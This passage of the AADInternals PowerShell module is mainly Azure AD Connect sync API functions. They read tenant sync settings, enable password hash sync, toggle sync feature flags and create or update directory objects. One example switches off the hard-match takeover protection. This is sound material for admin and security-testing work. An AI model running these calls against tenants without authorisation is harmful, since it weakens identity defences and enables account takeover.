[Parameter(Mandatory=$False)]
[String]$X509CertificateType,
[Parameter(Mandatory=$False)]
[String]$MFAAuthenticationType,
[Parameter(Mandatory=$False)]
[guid]$ActivityId = (New-Guid),
[Parameter(Mandatory=$False)]
[bool]$ActivityIdAutoGenerated = $False,
[Parameter(Mandatory=$False)]
[String]$PrimarySid,
[Parameter(Mandatory=$False)]
[String]$ImmutableId
)
Begin
{
$ADFSEventTypes = [ordered]@{
"NotSet" = 0
"AppToken" = 1 # Normal login
"FreshCredential" = 2
"System" = 4
"Discovery" = 8
"Signout" = 16
"PwdChange" = 32
"DeviceReg" = 64
"Resource" = 128
"Config" = 256
"ExtranetLockout" = 512
}
$ADFSAuthTypes = [ordered]@{
"NotSet" = 0
"Forms" = 1
"Windows" = 2
"Certificate" = 4
"Device" = 8
"Multifactor" = 16
"Sso" = 32
"Federated" = 64
}
$ADFSRequiredAuthType = [ordered]@{
"NotSet" = 0
"Primary" = 1
"Secondary" = 2
}
$UserIdTypes = [ordered]@{
"AnchorID" = 10
"UPN" = 20
"WindowsAccountName" = 30
"PrimarySID" = 40
"NameID" = 50
"Email" = 60
"Name" = 70
"NotSet" = 1000
}
$ADFSProtocolTypes = [ordered]@{
"NotSet" = 0
"WSFederation" = 2
"WSFedSamlP" = 4
"OAuth" = 10
"SAMLP" = 20
"WSTrust" = 30
"MSAdfsPIP" = 40
"MSISHTTP" = 50
}
$NetworkLocationTypes = [ordered]@{
"NotSet" = 0
"Intranet" = 1
"Extranet" = 2
}
$ADFSFailureTypes = [ordered]@{
"NotAFailure" = 0
"UPError" = 1
"LockoutError" = 2
"ExpiredPassword" = 3
"DisabledAccount" = 4
"DeviceAuthError" = 5
"UserCertAuthError" = 10
"IssuanceAuthZError" = 20
"MFAError" = 21
"ExtranetLockoutError" = 30
"LogoutError" = 40
"CredentialValidationError" = 50
"OtherCredentialError" = 70
"IssuanceDelegationError" = 80
"TokenAcceptanceError" = 90
"ProtocolError" = 100
"WsFedRequestFailure" = 110
"InvalidRelyingPartyError" = 111
"InvalidClientApplicationError" = 112
"GenericError" = 500
"OtherError" = 1000
}
}
Process
{
# Combine authentication types
if($PrimaryAuthentication.Count -eq 1)
{
$combinedAuthType = $ADFSAuthTypes[$PrimaryAuthentication]
}
else
{
$combinedAuthType = 0
foreach($type in $PrimaryAuthentication)
{
$combinedAuthType = $combinedAuthType -bor $ADFSAuthTypes[$type]
}
}
$event = [ordered]@{
"UniqueID" = $UniqueID.ToString()
"Server" = $Server
"EventType" = $ADFSEventTypes[$EventType]
"PrimaryAuthentication" = $combinedAuthType
"RequiredAuthType" = $ADFSRequiredAuthType[$RequiredAuthType]
"RelyingParty" = $RelyingParty
"RelyingPartyName" = $RelyingPartyName
"Result" = $Result
"DeviceAuthentication" = $DeviceAuthentication
"URL" = $URL
"User" = $User
"UserId" = $UserId
"UserIdType" = $UserIdTypes[$UserIdType]
"UPN" = $UPN
"Timestamp" = $Timestamp.ToUniversalTime().ToString("o", [cultureinfo]::InvariantCulture)
"Protocol" = $ADFSProtocolTypes[$Protocol]
"NetworkLocation" = $NetworkLocationTypes[$NetworkLocationType]
"AppTokenFailureType" = $ADFSFailureTypes[$AppTokenFailureType]
"IPAddress" = $IPAddress
"ClaimsProvider" = $ClaimsProvider
"OAuthClientID" = $OAuthClientID
"OAuthTokenRetrievalMethod" = $OAuthTokenRetrievalMethod
"MFA" = $MFA
"MFAProviderErrorCode" = $MFAProviderErrorCode
"ProxyServer" = $ProxyServer
"Endpoint" = $Endpoint
"UserAgent" = $UserAgent
"DeviceID" = $DeviceID
"ErrorHitCount" = $ErrorHitCount
"X509CertificateType" = $X509CertificateType
"MFAAuthenticationType" = $MFAAuthenticationType
"ActivityId" = $ActivityId.ToString()
"ActivityIdAutoGenerated" = $ActivityIdAutoGenerated
"PrimarySid" = $PrimarySid
"ImmutableId" = $ImmutableId
}
return $event
}
} |
AzureADConnectAPI.ps1 | AADInternals-0.9.4 | ## Directory Sync API functions
# NOTE: Azure AD Sync API gets redirected quite often 2-3 times per request.
# Therefore the functions need to be called recursively and use $Recursion parameter.
# Get synchronization configuration using Provisioning and Azure AD Sync API
# May 6th 2020
function Get-SyncConfiguration
{
<#
.SYNOPSIS
Gets tenant's synchronization configuration
.DESCRIPTION
Gets tenant's synchronization configuration using Provisioning and Azure AD Sync API.
If the user doesn't have admin rights, only a subset of information is returned.
.Parameter AccessToken
Access Token
.Example
Get-AADIntSyncConfiguration
AllowedFeatures : {ObjectWriteback, , PasswordWriteback}
AnchorAttribute : mS-DS-ConsistencyGuid
ApplicationVersion : 1651564e-7ce4-4d99-88be-0a65050d8dc3
ClientVersion : 1.4.38.0
DirSyncClientMachine : SERVER1
DirSyncFeatures : 41016
DisplayName : Company Ltd
IsDirSyncing : true
IsPasswordSyncing : false
IsTrackingChanges : false
MaxLinksSupportedAcrossBatchInProvision : 15000
PreventAccidentalDeletion : EnabledForCount
SynchronizationInterval : PT30M
TenantId : 57cf9f28-1ad7-40f4-bee8-d3ab9877f0a8
TotalConnectorSpaceObjects : 1
TresholdCount : 500
TresholdPercentage : 0
UnifiedGroupContainer :
UserContainer :
DirSyncAnchorAttribute : mS-DS-ConsistencyGuid
DirSyncServiceAccount : [email protected]
DirectorySynchronizationStatus : Enabled
InitialDomain : company.onmicrosoft.com
LastDirSyncTime : 2020-03-03T10:23:09Z
LastPasswordSyncTime : 2020-03-04T10:23:43Z
ADSyncBlackListEnabled : false
ADSyncBlackList : {1.0}
ADSyncLatestVersion : 3.2
ADSyncMinimumVersion : 1.0
.Example
Get-AADIntSyncConfiguration
ApplicationVersion : 1651564e-7ce4-4d99-88be-0a65050d8dc3
ClientVersion : 1.4.38.0
DirSyncAnchorAttribute : mS-DS-ConsistencyGuid
DirSyncClientMachine : SERVER1
DirSyncServiceAccount : [email protected]
DirectorySynchronizationStatus : Enabled
DisplayName : Company Ltd
InitialDomain : company.onmicrosoft.com
IsDirSyncing : true
LastDirSyncTime : 2020-03-03T10:23:09Z
LastPasswordSyncTime : 2020-03-04T10:23:43Z
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# First get configuration from Provisioning API (no admin rights needed)
$config = Get-CompanyInformation -AccessToken $AccessToken
# Show the warning of the pending state
if($config.DirectorySynchronizationStatus.StartsWith("Pending"))
{
Write-Warning "Synchronization status is $($config.DirectorySynchronizationStatus) and it may be stuck to this state for up to 72h!"
}
# Return value
$attributes=[ordered]@{
ApplicationVersion = $config.DirSyncApplicationType
ClientVersion = $config.DirSyncClientVersion
DirSyncAnchorAttribute = $config.DirSyncAnchorAttribute
DirSyncClientMachine = $config.DirSyncClientMachineName
DirSyncServiceAccount = $config.DirSyncServiceAccount
DirectorySynchronizationStatus = $config.DirectorySynchronizationStatus
DisplayName = $config.DisplayName
InitialDomain = $config.InitialDomain
IsDirSyncing = $config.DirectorySynchronizationEnabled
LastDirSyncTime = $config.LastDirSyncTime
LastPasswordSyncTime = $config.LastPasswordSyncTime
PasswordSynchronizationEnabled = $config.PasswordSynchronizationEnabled
}
# Try to get synchronization information using Azure AD Sync
try
{
$config2=Get-SyncConfiguration2 -AccessToken $AccessToken
# Merge the configs
foreach($key in $attributes.Keys)
{
$config2[$key] = $attributes[$key]
}
$capabilities=Get-SyncCapabilities -AccessToken $AccessToken
# Merge the configs
foreach($key in $capabilities.Keys)
{
$config2[$key] = $capabilities[$key]
}
return New-Object PSObject -Property $config2
}
catch
{
return New-Object PSObject -Property $attributes
}
}
}
# Get synchronization configuration using Sync API
# Oct 11th 2018
function Get-SyncConfiguration2
{
<#
.SYNOPSIS
Gets tenant's synchronization configuration
.DESCRIPTION
Gets tenant's synchronization configuration using Provisioning and Azure AD Sync API.
.Parameter AccessToken
Access Token
.Example
Get-AADIntSyncConfiguration
AllowedFeatures : {ObjectWriteback, , PasswordWriteback}
AnchorAttribute : objectGUID
ApplicationVersion : 1651564e-7ce4-4d99-88be-0a65050d8dc3
ClientVersion : 1.1.819.0
DirSyncClientMachine : AAD-SYNC-01
DirSyncFeatures : 41016
DisplayName : Company Ltd
IsDirSyncing : true
IsPasswordSyncing : false
IsTrackingChanges : false
MaxLinksSupportedAcrossBatchInProvision : 15000
PreventAccidentalDeletion : EnabledForCount
SynchronizationInterval : PT30M
TenantId : 57cf9f28-1ad7-40f4-bee8-d3ab9877f0a8
TotalConnectorSpaceObjects : 24
TresholdCount : 500
TresholdPercentage : 0
UnifiedGroupContainer :
UserContainer :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<GetCompanyConfiguration xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<includeLicenseInformation>false</includeLicenseInformation>
</GetCompanyConfiguration>
"@
$Message_id=(New-Guid).ToString()
$Command="GetCompanyConfiguration"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-SyncConfiguration -AccessToken $AccessToken -Recursion ($Recursion+1)
}
else
{
# Create a return object
$res=$xml_doc.Envelope.Body.GetCompanyConfigurationResponse.GetCompanyConfigurationResult
$AllowedFeatures = @()
foreach($feature in $res.AllowedFeatures.'#text')
{
$AllowedFeatures += $feature
}
$config=[ordered]@{
AllowedFeatures = $AllowedFeatures
AnchorAttribute = $res.DirSyncConfiguration.AnchorAttribute
ApplicationVersion = $res.DirSyncConfiguration.ApplicationVersion
ClientVersion = $res.DirSyncConfiguration.ClientVersion
DirSyncClientMachine = $res.DirSyncConfiguration.CurrentExport.DirSyncClientMachineName
DirSyncFeatures = $res.DirSyncFeatures
DisplayName = $res.DisplayName
IsDirSyncing = $res.IsDirSyncing
IsPasswordSyncing = $res.IsPasswordSyncing
IsTrackingChanges = $res.DirSyncConfiguration.IsTrackingChanges
MaxLinksSupportedAcrossBatchInProvision = $res.MaxLinksSupportedAcrossBatchInProvision2
PreventAccidentalDeletion = $res.DirSyncConfiguration.PreventAccidentalDeletion.DeletionPrevention
SynchronizationInterval = $res.SynchronizationInterval
TenantId = $res.TenantId
TotalConnectorSpaceObjects = $res.DirSyncConfiguration.CurrentExport.TotalConnectorSpaceObjects
TresholdCount = $res.DirSyncConfiguration.PreventAccidentalDeletion.ThresholdCount
TresholdPercentage = $res.DirSyncConfiguration.PreventAccidentalDeletion.ThresholdPercentage
UnifiedGroupContainer = $res.WriteBack.UnifiedGroupContainer
UserContainer = $res.WriteBack.UserContainer
}
return $config
}
}
}
# Enables or disables Password Hash Sync (PHS)
function Set-PasswordHashSyncEnabled
{
<#
.SYNOPSIS
Enables or disables password hash sync (PHS)
.DESCRIPTION
Enables or disables password hash sync (PHS) using Azure AD Sync API.
If dirsync is disabled, it's first enabled using Provisioning API.
Enabling / disabling the PHS usually takes less than 10 seconds. Check the status using Get-AADIntCompanyInformation.
.Parameter AccessToken
Access Token
.Parameter Enabled
True or False
.Example
Set-AADIntPasswordHashSyncEnabled -Enabled $true
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[Boolean]$Enabled
)
Process
{
Write-Warning "Set-AADIntPasswordHashSyncEnabled is deprecated."
Write-Warning "Use 'Set-AADIntSyncFeatures -EnableFeatures PasswordHashSync' instead."
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get the current feature status
$features = Get-SyncFeatures -AccessToken $AccessToken
# Check whether the PHS sync is already enabled
if($Enabled -and $features.PasswordHashSync)
{
Write-Host "Password Hash Synchronization already enabled"
}
elseif(!$Enabled -and !$features.PasswordHashSync)
{
Write-Host "Password Hash Synchronization already disabled"
}
else
{
# Enable or disable PHS
if($Enabled)
{
$features = Set-SyncFeatures -AccessToken $AccessToken -EnableFeatures PasswordHashSync
if(!$features.PasswordHashSync)
{
Write-Error "Could not enable Password Hash Sync"
}
}
else
{
$features = Set-SyncFeatures -AccessToken $AccessToken -DisableFeatures PasswordHashSync | Out-Null
if($features.PasswordHashSync)
{
Write-Error "Could not disable Password Hash Sync"
}
}
}
}
}
# Set sync features
# Nov 3rd 2021
function Set-SyncFeatures
{
<#
.SYNOPSIS
Enables or disables synchronisation features.
.DESCRIPTION
Enables or disables synchronisation features using Azure AD Sync API.
As such, doesn't require "Global Administrator" credentials, "Directory Synchronization Accounts" credentials will do.
.Parameter AccessToken
Access Token
.Parameter EnableFeatures
List of features to be enabled
.Parameter DisableFeatures
List of features to be disabled
.Example
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Set-AADIntSyncFeature -EnableFeatures PasswordHashSync -DisableFeatures BlockCloudObjectTakeoverThroughHardMatch
BlockCloudObjectTakeoverThroughHardMatch : False
BlockSoftMatch : False
DeviceWriteback : False
DirectoryExtensions : False
DuplicateProxyAddressResiliency : True
DuplicateUPNResiliency : True
EnableSoftMatchOnUpn : True
EnableUserForcePasswordChangeOnLogon : False
EnforceCloudPasswordPolicyForPasswordSyncedUsers : False
PassThroughAuthentication : False
PasswordHashSync : True
PasswordWriteBack : False
SynchronizeUpnForManagedUsers : True
UnifiedGroupWriteback : False
UserWriteback : False
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet('PasswordHashSync','PasswordWriteBack','DirectoryExtensions','DuplicateUPNResiliency','EnableSoftMatchOnUpn','DuplicateProxyAddressResiliency','EnforceCloudPasswordPolicyForPasswordSyncedUsers','UnifiedGroupWriteback','UserWriteback','DeviceWriteback','SynchronizeUpnForManagedUsers','EnableUserForcePasswordChangeOnLogon','PassThroughAuthentication','BlockSoftMatch','BlockCloudObjectTakeoverThroughHardMatch')]
[String[]]$EnableFeatures,
[Parameter(Mandatory=$False)]
[ValidateSet('PasswordHashSync','PasswordWriteBack','DirectoryExtensions','DuplicateUPNResiliency','EnableSoftMatchOnUpn','DuplicateProxyAddressResiliency','EnforceCloudPasswordPolicyForPasswordSyncedUsers','UnifiedGroupWriteback','UserWriteback','DeviceWriteback','SynchronizeUpnForManagedUsers','EnableUserForcePasswordChangeOnLogon','PassThroughAuthentication','BlockSoftMatch','BlockCloudObjectTakeoverThroughHardMatch')]
[String[]]$DisableFeatures
)
Begin
{
$feature_values = [ordered]@{
"PasswordHashSync" = 1
"PasswordWriteBack" = 2
"DirectoryExtensions" = 4
"DuplicateUPNResiliency" = 8
"EnableSoftMatchOnUpn" = 16
"DuplicateProxyAddressResiliency" = 32
# 64
# 128
# 256
"EnforceCloudPasswordPolicyForPasswordSyncedUsers" = 512
"UnifiedGroupWriteback" = 1024
"UserWriteback" = 2048
"DeviceWriteback" = 4096
"SynchronizeUpnForManagedUsers" = 8192
"EnableUserForcePasswordChangeOnLogon" = 16384
# 32768
# 65536
"PassThroughAuthentication" = 131072
# 262144
"BlockSoftMatch" = 524288
"BlockCloudObjectTakeoverThroughHardMatch" = 1048576
}
}
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get the current features
$features = (Get-SyncConfiguration2 -AccessToken $AccessToken).DirSyncFeatures
# Enable features
foreach($feature in $EnableFeatures)
{
$features = $features -bor $feature_values[$feature]
}
# Disable features
foreach($feature in $DisableFeatures)
{
$features = $features -band (0x7FFFFFFF -bxor $feature_values[$feature])
}
Update-SyncFeatures -AccessToken $AccessToken -Features $features
Get-SyncFeatures -AccessToken $AccessToken
}
}
# Get sync features
# Nov 3rd 2021
function Get-SyncFeatures
{
<#
.SYNOPSIS
Show the status of synchronisation features.
.DESCRIPTION
Show the status of synchronisation features using Azure AD Sync API.
As such, doesn't require "Global Administrator" credentials, "Directory Synchronization Accounts" credentials will do.
.Parameter AccessToken
Access Token
.Example
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntSyncFeatures
BlockCloudObjectTakeoverThroughHardMatch : True
BlockSoftMatch : False
DeviceWriteback : False
DirectoryExtensions : False
DuplicateProxyAddressResiliency : True
DuplicateUPNResiliency : True
EnableSoftMatchOnUpn : True
EnableUserForcePasswordChangeOnLogon : False
EnforceCloudPasswordPolicyForPasswordSyncedUsers : False
PassThroughAuthentication : False
PasswordHashSync : True
PasswordWriteBack : False
SynchronizeUpnForManagedUsers : True
UnifiedGroupWriteback : False
UserWriteback : False
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Begin
{
$feature_values = [ordered]@{
"BlockCloudObjectTakeoverThroughHardMatch" = 1048576
"BlockSoftMatch" = 524288
"DeviceWriteback" = 4096
"DirectoryExtensions" = 4
"DuplicateProxyAddressResiliency" = 32
"DuplicateUPNResiliency" = 8
"EnableSoftMatchOnUpn" = 16
"EnableUserForcePasswordChangeOnLogon" = 16384
"EnforceCloudPasswordPolicyForPasswordSyncedUsers" = 512
"PassThroughAuthentication" = 131072
"PasswordHashSync" = 1
"PasswordWriteBack" = 2
"SynchronizeUpnForManagedUsers" = 8192
"UnifiedGroupWriteback" = 1024
"UserWriteback" = 2048
}
}
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get the current features
$features = (Get-SyncConfiguration2 -AccessToken $AccessToken).DirSyncFeatures
$attributes = [ordered]@{}
# Enable features
foreach($key in $feature_values.Keys)
{
$attributes[$key] = ($features -band $feature_values[$key]) -gt 0
}
New-Object psobject -Property $attributes
}
}
# Update dirsync features
# Nov 3rd 2021
function Update-SyncFeatures
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[int]$Features,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<SetCompanyDirsyncFeatures xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<dirsyncFeatures>$Features</dirsyncFeatures>
</SetCompanyDirsyncFeatures>
"@
$Message_id=(New-Guid).ToString()
$Command="SetCompanyDirsyncFeatures"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Set-SyncFeatures -AccessToken $AccessToken -Features $Features -Recursion ($Recursion+1)
}
else
{
# Create a return object
$res=$xml_doc.Envelope.Body.GetCompanyConfigurationResponse.GetCompanyConfigurationResult
}
}
}
# Provision Azure AD Sync Object
function Set-AzureADObject
{
<#
.SYNOPSIS
Creates or updates Azure AD object using Azure AD Sync API
.DESCRIPTION
Creates or updates Azure AD object using Azure AD Sync API. Can also set cloud-only user's sourceAnchor (ImmutableId) and onPremisesSAMAccountName. SourceAnchor can only be set once!
.Parameter AccessToken
Access Token
.Parameter sourceAnchor
The source anchor for the Azure AD object. Typically Base 64 encoded GUID of on-prem AD object.
.Parameter cloudAnchor
The cloud anchor for the Azure AD object in the form "<type>_<objectid>". For example "User_a98368aa-f0cb-41b5-a7c6-10f18c6c837d"
.Parameter userPrincipalName
User Principal Name of the Azure AD object
.Parameter surname
The last name of the Azure AD object
.Parameter onPremisesSamAccountName
The on-prem AD samaccountname of the Azure AD object
.Parameter onPremisesDistinguishedName
The on-prem AD DN of the Azure AD object
.Parameter onPremisesSecurityIdentifier
The on-prem AD security identifier of the Azure AD object
.Parameter netBiosName
The on-prem netbiosname of the Azure AD object
.Parameter lastPasswordChangeTimeStamp
Timestamp when the on-prem AD object's password was changed
.Parameter givenName
The first name of the Azure AD object
.Parameter dnsDomainName
The dns domain name of the Azure AD object
.Parameter displayName
The display name of the Azure AD object
.Parameter countryCode
The country code of the Azure AD object.
.Parameter commonName
The common name of the Azure AD object
.Parameter accountEnabled
Is the Azure AD object enabled. Default is $True.
.Parameter cloudMastered
Is the Azure AD object editable in Azure AD. Default is $true
.Parameter usageLocation
Two letter country code for usage location of Azure AD object.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$CloudAnchor,
[Parameter(Mandatory=$False)]
[String]$SourceAnchor,
[Parameter(Mandatory=$False)]
[String]$userPrincipalName,
[Parameter(Mandatory=$False)]
[String]$surname,
[Parameter(Mandatory=$False)]
[String]$onPremisesSamAccountName,
[Parameter(Mandatory=$False)]
[String]$onPremisesDistinguishedName,
[Parameter(Mandatory=$False)]
[String]$onPremiseSecurityIdentifier,
[Parameter(Mandatory=$False)]
[String]$netBiosName,
[Parameter(Mandatory=$False)]
[String]$lastPasswordChangeTimestamp,
[Parameter(Mandatory=$False)]
[String]$givenName,
[Parameter(Mandatory=$False)]
[String]$dnsDomainName,
[Parameter(Mandatory=$False)]
[String]$displayName,
[Parameter(Mandatory=$False)]
$countryCode,
[Parameter(Mandatory=$False)]
[String]$commonName,
[Parameter(Mandatory=$False)]
$accountEnabled,
[Parameter(Mandatory=$False)]
$cloudMastered,
[Parameter(Mandatory=$False)]
[ValidateSet('AF','AX','AL','DZ','AS','AD','AO','AI','AQ','AG','AR','AM','AW','AU','AT','AZ','BS','BH','BD','BB','BY','BE','BZ','BJ','BM','BT','BO','BQ','BA','BW','BV','BR','IO','BN','BG','BF','BI','KH','CM','CA','CV','KY','CF','TD','CL','CN','CX','CC','CO','KM','CG','CD','CK','CR','CI','HR','CU','CW','CY','CZ','DK','DJ','DM','DO','EC','EG','SV','GQ','ER','EE','ET','FK','FO','FJ','FI','FR','GF','PF','TF','GA','GM','GE','DE','GH','GI','GR','GL','GD','GP','GU','GT','GG','GN','GW','GY','HT','HM','VA','HN','HK','HU','IS','IN','ID','IQ','IE','IR','IM','IL','IT','JM','JP','JE','JO','KZ','KE','KI','KP','KR','KW','KG','LA','LV','LB','LS','LR','LY','LI','LT','LU','MO','MK','MG','MW','MY','MV','ML','MT','MH','MQ','MR','MU','YT','MX','FM','MD','MC','MN','ME','MS','MA','MZ','MM','NA','NR','NP','NL','NC','NZ','NI','NE','NG','NU','NF','MP','NO','OM','PK','PW','PS','PA','PG','PY','PE','PH','PN','PL','PT','PR','QA','RE','RO','RU','RW','BL','SH','KN','LC','MF','PM','VC','WS','SM','ST','SA','SN','RS','SC','SL','SG','SX','SK','SI','SB','SO','ZA','GS','SS','ES','LK','SD','SR','SJ','SZ','SE','CH','SY','TW','TJ','TZ','TH','TL','TG','TK','TO','TT','TN','TR','TM','TC','TV','UG','UA','AE','GB','US','UM','UY','UZ','VU','VE','VN','VG','VI','WF','EH','YE','ZM','ZW')][String]$usageLocation,
[Parameter(Mandatory=$False)]
[ValidateSet('User','Group','Contact','Device')]
[String]$ObjectType="User",
[Parameter(Mandatory=$False)]
[String[]]$proxyAddresses,
[Parameter(Mandatory=$False)]
[String]$thumbnailPhoto,
[Parameter(Mandatory=$False)]
[String[]]$groupMembers,
[Parameter(Mandatory=$False)]
[String]$deviceId,
[Parameter(Mandatory=$False)]
[String]$deviceOSType,
[Parameter(Mandatory=$False)]
[String]$deviceTrustType,
[Parameter(Mandatory=$False)]
[String[]]$userCertificate,
[Parameter(Mandatory=$False)]
[ValidateSet('Set','Add')]
[String]$Operation="Set",
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<ProvisionAzureADSyncObjects xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<syncRequest xmlns:b="http://schemas.microsoft.com/online/aws/change/2014/06" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<b:SyncObjects>
<b:AzureADSyncObject>
<b:PropertyValues xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
$(Add-PropertyValue "SourceAnchor" $sourceAnchor)
$(Add-PropertyValue "accountEnabled" $accountEnabled -Type bool)
$(Add-PropertyValue "commonName" $commonName)
$(Add-PropertyValue "countryCode" $countryCode -Type long)
$(Add-PropertyValue "displayName" $displayName)
$(Add-PropertyValue "dnsDomainName" $dnsDomainName)
$(Add-PropertyValue "givenName" $givenName)
$(Add-PropertyValue "lastPasswordChangeTimestamp" $lastPasswordChangeTimestamp)
$(Add-PropertyValue "netBiosName" $netBiosName)
$(Add-PropertyValue "onPremiseSecurityIdentifier" $onPremiseSecurityIdentifier -Type base64)
$(Add-PropertyValue "onPremisesDistinguishedName" $onPremisesDistinguishedName)
$(Add-PropertyValue "onPremisesSamAccountName" $onPremisesSamAccountName)
$(Add-PropertyValue "surname" $surname)
$(Add-PropertyValue "userPrincipalName" $userPrincipalName)
$(Add-PropertyValue "cloudMastered" $cloudMastered -Type bool)
$(Add-PropertyValue "usageLocation" $usageLocation)
$(Add-PropertyValue "CloudAnchor" $CloudAnchor)
$(Add-PropertyValue "ThumbnailPhoto" $thumbnailPhoto)
$(Add-PropertyValue "proxyAddresses" $proxyAddresses -Type ArrayOfstring)
$(Add-PropertyValue "member" $groupMembers -Type ArrayOfstring)
$(Add-PropertyValue "deviceId" $deviceId -Type base64)
$(Add-PropertyValue "deviceTrustType" $deviceTrustType)
$(Add-PropertyValue "deviceOSType" $deviceOSType)
$(Add-PropertyValue "userCertificate" $userCertificate -Type ArrayOfbase64)
$(if($ObjectType -eq "User"){Add-PropertyValue "userType" $userType})
$(if($ObjectType -eq "Group"){Add-PropertyValue "securityEnabled" $true -Type bool})
</b:PropertyValues>
<b:SyncObjectType>$ObjectType</b:SyncObjectType>
<b:SyncOperation>$Operation</b:SyncOperation>
</b:AzureADSyncObject>
</b:SyncObjects>
</syncRequest>
</ProvisionAzureADSyncObjects>
"@
$Message_id=(New-Guid).ToString()
$Command="ProvisionAzureADSyncObjects"
$serverName=$aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Set-AzureADObject -AccessToken $AccessToken -Recursion ($Recursion+1) -sourceAnchor $sourceAnchor -ObjectType $ObjectType -userPrincipalName $userPrincipalName -surname $surname -onPremisesSamAccountName $onPremisesSamAccountName -onPremisesDistinguishedName $onPremisesDistinguishedName -onPremiseSecurityIdentifier $onPremisesDistinguishedName -netBiosName $netBiosName -lastPasswordChangeTimestamp $lastPasswordChangeTimestamp -givenName $givenName -dnsDomainName $dnsDomainName -displayName $displayName -countryCode $countryCode -commonName $commonName -accountEnabled $accountEnabled -cloudMastered $cloudMastered -usageLocation $usageLocation -CloudAnchor $CloudAnchor
}
# Check whether this is an error message
if($xml_doc.Envelope.Body.Fault)
{
Throw $xml_doc.Envelope.Body.Fault.Reason.Text.'#text'
}
# Return
$xml_doc.Envelope.Body.ProvisionAzureADSyncObjectsResponse.ProvisionAzureADSyncObjectsResult.SyncObjectResults.AzureADSyncObjectResult
}
}
# Removes the given Azure AD Object
function Remove-AzureADObject
{
<#
.SYNOPSIS
Removes Azure AD object using Azure AD Sync API
.DESCRIPTION
Removes Azure AD object using Azure AD Sync API
.Parameter AccessToken
Access Token
.Parameter sourceAnchor
The source anchor for the Azure AD object. Typically Base 64 encoded GUID of on-prem AD object.
.Parameter cloudAnchor
The cloud anchor for the Azure AD object in the form "<type>_<objectid>". For example "User_a98368aa-f0cb-41b5-a7c6-10f18c6c837d"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(ParameterSetName='sourceAnchor', Mandatory=$True)]
[String]$sourceAnchor,
[Parameter(ParameterSetName='cloudAnchor', Mandatory=$True)]
[String]$cloudAnchor,
[Parameter(Mandatory=$False)]
[ValidateSet('User','Group','Contact','Device')]
[String]$ObjectType="User",
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
